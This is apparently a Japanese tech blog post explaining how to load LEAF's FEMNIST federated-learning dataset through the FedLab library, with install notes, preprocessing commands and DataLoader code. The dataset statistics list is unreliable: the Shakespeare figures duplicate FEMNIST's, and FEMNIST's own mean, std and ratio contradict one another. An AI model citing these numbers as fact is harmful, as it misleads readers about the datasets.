今日は CMU から出されている LEAF という連合学習用のベンチマーキングフレームワークを使ってみます。 英語でも使ってみた系のテックブログがすぐに見つけられなかったので、参考になれば幸いです。

github.com

LEAF -A Benchmark for Federated Settings-

LEAF について

LEAF は、連合学習、マルチタスク学習、メタ学習、オンデバイス学習などのアプリケーションを含む、Federated Setting における学習用ベンチマーキングフレームワークです。

arxiv.org

leaf.cmu.edu

LEAF では5種のタスク6つのデータセットが提供されています。 それぞれのデータセットの基本情報は以下のとおりです。 LEAF で提供されているデータは Non-IID に従うため、クライアントにあたる user の数と、各 user が所持する sample の数がデータの基本情報にあたります。

FEMNIST

  • Task: Image Classification
  • Statistics:
    • number of users: 3,550
    • number of samples: 80,5263
    • mean(samples per user): 88.94
    • std: 88.94
    • std/mean: 0.39

Shakespeare

  • Task: Next Character Prediction
  • Statistics:
    • number of users: 3,550
    • number of samples: 80,5263
    • mean(samples per user): 88.94
    • std: 88.94
    • std/mean: 0.39

Twitter

  • Task: Sentiment Analysis
  • Statistics:
    • number of users: 660,120
    • number of samples: 1,600,498
    • mean(samples per user): 2.42
    • std: 4.71
    • std/mean: 1.94

Celeba

  • Task: Image Classification
  • Statistics:
    • number of users: 9,343
    • number of samples: 200,288
    • mean(samples per user): 21.44
    • std: 7.63
    • std/mean: 0.36

Synthetic Dataset

  • Task: Classification
  • Statistics:
    • number of users: 1,000
    • number of samples: 107,553
    • mean(samples per user): 107.55
    • std: 213.22
    • std/mean: 1.98

Reddit

  • Task: Language Modeling
  • Statistics:
    • number of users: 1,660,820
    • number of samples: 56,587,343
    • mean(samples per user): 30.07
    • std: 62.9
    • std/mean: 1.84

LEAF を使ってみよう

今回は FEMNIST をどんな感じで使っていけばよいのかを見ていきます。 元のリポジトリはこちら。

github.com

こちらリポジトリは最終コミットが2年以上前で、Python 3.5, TensorFlow 1.13.1 をベースに動くものになっています。 環境を用意するのが大変だけど論文を読んでいてよく登場するので、みんな同じように苦しんでいるのかなぁと考えていました。

さすがに元の GitHub がアップデートされていないだけで使いやすくなっているはずと思って調べていたらいい感じに PyTorch の DataLoader として提供してくれているフレームワークを見つけられたので、これを使ってみればよさそうです。

fedlab.readthedocs.io

github.com

この FedLab を利用すれば、LEAF の6つのデータセットを含む連合学習の研究で使用される一般的なデータセットを利用できます。

Installation

pip で提供されていたり requirements.txt が用意されています。

pypi.org

今回は Poetry でインストールします。 pyproject.toml はこんな感じです。

[tool.poetry]
name = "fedlab-feminist"
version = "0.1.0"
description = ""
authors = ["futabato <01futabato10@gmail.com>"]
readme = "README.md"

[tool.poetry.dependencies]
python = "^3.11"
Pillow = "<=9.5.0"
fedlab = "^1.3.0"
spacy = "^3.7.2"


[build-system]
requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api"

[tool.poetry]namefedlab にすると [tool.poetry.dependencies]fedlab と被ってインストールが失敗することに注意してください。

fedlab==1.3.0 のみを指定してインストールすると Pillow>=10.0.0 がインストールされるのですが、Pillow<=9.5.0 に実装されていたメソッドが使われるので、Pillow のバージョンを先に指定しています。 また、spacy はデータセット作成スクリプトの実行のために必要なものになります。spacy をインストールしない場合は、Tokenizer が使われているところを呼び出されないように少しコードを修正する必要があります。

Tutorial

Download and preprocess data

FedLab/datasets/femnist/ にデータセットをダウンロードして前処理を行うスクリプト preprocess.sh が用意されているので、それを利用します。

同階層に stats.sh が用意されています。stats.sh は、実行すると FedLab/datasets/utils/stats.py が呼び出され、preprcess.sh で得た FEMNIST データセットの統計情報を出力してくれます。

preprocess.sh を実行します。 実行の例は以下の通りです。

bash preprocess.sh -s niid --sf 0.05 -k 0 -t sample --tf 0.9

オプションを簡単に説明します。

  • -s: IID or Non-IID
  • --sf: サンプリングするデータの割合
  • -k: userごとの最小 sample
  • -t: user を Train, Test グループに分割するか、sample を Train, Test データに分割するか
  • --tf: Train : Test の比率

Pickle file stores Dataset

FedLab では、データの読み込みの高速化のために raw data を Dataset として加工して pickle 化します。 データ処理後の pickle ファイル を読み込むことで各クライアントに対応した Dataset が得られるようになっています。

FedLab/datasets/gen_pickle_dataset.sh が用意されています。 gen_pickle_dataset.shpickle_dataset.py を実行するだけです。

gen_pickle_dataset.sh を実行します。 実行の例は以下の通りです。

bash gen_pickle_dataset.sh "femnist" "../datasets" "./femnist/pickle_data/"

オプションを簡単に説明します。 - 第一引数(dataset): データセット名 - 第二引数(data_root): データの保存先パス - 第三引数(pickle_root): pickle ファイルを保存先パス

上記のコマンドによって、FedLab/datasets/femnist/pickle_data/femnist/traintest の二つのディレクトリが作成されました。 この二つのディレクトリの中に、pickle ファイルが格納されています。

Dataloader loading data set

以下のコードによって DataLoader を用意することができます。

github.com

# Copyright 2021 Peng Cheng Laboratory (http://www.szpclab.com/) and FedLab Authors (smilelab.group)

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at

#     http://www.apache.org/licenses/LICENSE-2.0

# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""
    get dataloader for dataset in LEAF processed
"""
import logging
from pathlib import Path
import torch
from torch.utils.data import ConcatDataset
from leaf.pickle_dataset import PickleDataset

BASE_DIR = Path(__file__).resolve().parents[2]


def get_LEAF_dataloader(dataset: str, client_id=0, batch_size=128, data_root: str = None, pickle_root: str = None):
    """Get dataloader with ``batch_size`` param for client with ``client_id``

    Args:
        dataset (str):  dataset name string to get dataloader
        client_id (int, optional): assigned client_id to get dataloader for this client. Defaults to 0
        batch_size (int, optional): the number of batch size for dataloader. Defaults to 128
        data_root (str): path for data saving root.
                        Default to None and will be modified to the datasets folder in FedLab: "fedlab-benchmarks/datasets"
        pickle_root (str): path for pickle dataset file saving root.
                        Default to None and will be modified to Path(__file__).parent / "pickle_datasets"
    Returns:
        A tuple with train dataloader and test dataloader for the client with `client_id`

    Examples:
        trainloader, testloader = get_LEAF_dataloader(dataset='shakespeare', client_id=1)
    """
    # Need to run leaf/gen_pickle_dataset.sh to generate pickle files for this dataset firstly
    pdataset = PickleDataset(dataset_name=dataset, data_root=data_root, pickle_root=pickle_root)
    try:
        trainset = pdataset.get_dataset_pickle(dataset_type="train", client_id=client_id)
        testset = pdataset.get_dataset_pickle(dataset_type="test", client_id=client_id)
    except FileNotFoundError:
        logging.error(f"""
                        No built PickleDataset json file for {dataset}-client {client_id} in {pdataset.pickle_root.resolve()}
                        Please run `{BASE_DIR / 'leaf/gen_pickle_dataset.sh'} to generate {dataset} pickle files firstly!` 
                        """)

    trainloader = torch.utils.data.DataLoader(
        trainset,
        batch_size=batch_size,
        drop_last=False)  # avoid train dataloader size 0
    testloader = torch.utils.data.DataLoader(
        testset,
        batch_size=len(testset),
        drop_last=False,
        shuffle=False)
        
    return trainloader, testloader


def get_LEAF_all_test_dataloader(dataset: str, batch_size=128, data_root: str = None, pickle_root: str = None):
    """Get dataloader for all clients' test pickle file

    Args:
        dataset (str): dataset name
        batch_size (int, optional): the number of batch size for dataloader. Defaults to 128
        data_root (str): path for data saving root.
                        Default to None and will be modified to the datasets folder in FedLab: "fedlab-benchmarks/datasets"
        pickle_root (str): path for pickle dataset file saving root.
                        Default to None and will be modified to Path(__file__).parent / "pickle_datasets"
    Returns:
        ConcatDataset for all clients' test dataset
    """
    pdataset = PickleDataset(dataset_name=dataset, data_root=data_root, pickle_root=pickle_root)

    try:
        all_testset = pdataset.get_dataset_pickle(dataset_type="test")
    except FileNotFoundError:
        logging.error(f"""
                        No built test PickleDataset json file for {dataset} in {pdataset.pickle_root.resolve()}
                        Please run `{BASE_DIR / 'leaf/gen_pickle_dataset.sh'} to generate {dataset} pickle files firstly!` 
                        """)
    test_loader = torch.utils.data.DataLoader(
                    all_testset,
                    batch_size=batch_size,
                    drop_last=True)  # avoid train dataloader size 0
    return test_loader

呼び出す際には pickle_dataset.py 実行時のオプションデータセット--dataset_name で指定したデータセットを渡してあげてください。

train_loader, test_loader = get_LEAF_dataloader(dataset="femnist")

Torchvision から提供されるようになると格段に使いやすくなるだろうなというお気持ちです。


この記事は IPFactory OB Advent Calendar 2023 23日目の記事です。

qiita.com

現役生のアドカレはこちら。

qiita.com

昨日 22 日目の記事は n01e0 の sedbf でした。

feneshi.co

明日の記事があるかはわかりません。